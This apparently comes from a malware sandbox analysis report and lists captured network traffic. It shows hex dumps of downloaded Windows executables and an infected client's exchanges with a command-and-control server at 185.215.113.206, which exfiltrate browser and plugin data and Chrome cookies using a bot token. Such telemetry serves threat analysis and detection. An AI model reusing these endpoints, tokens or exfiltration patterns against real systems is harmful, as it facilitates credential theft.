Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 09:13:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 09:13:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 09:13:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 09:14:08 GMTContent-Type: application/octet-streamContent-Length: 3245056Last-Modified: Tue, 05 Nov 2024 08:48:24 GMTConnection: keep-aliveETag: "6729dbd8-318400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 31 00 00 04 00 00 48 63 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 78 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 77 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 61 66 6c 76 68 74 69 00 d0 2a 00 00 b0 06 00 00 ca 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6b 6a 76 73 72 71 69 00 10 00 00 00 80 31 00 00 04 00 00 00 5e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 31 00 00 22 00 00 00 62 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 41 46 41 35 33 42 33 35 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="hwid"1FAFA53B35381806970752------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="build"tale------AECAKJJECAEGCBGDHDHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="message"browsers------FIECFBAAAFHIIDGCGCBF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"plugins------AKKFHDAKECFHIDHJDAAA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="message"fplugins------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 6147Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHCBAAAFHJDHJJKEBGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file"------DGHJECAFIDAFHJKFCGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
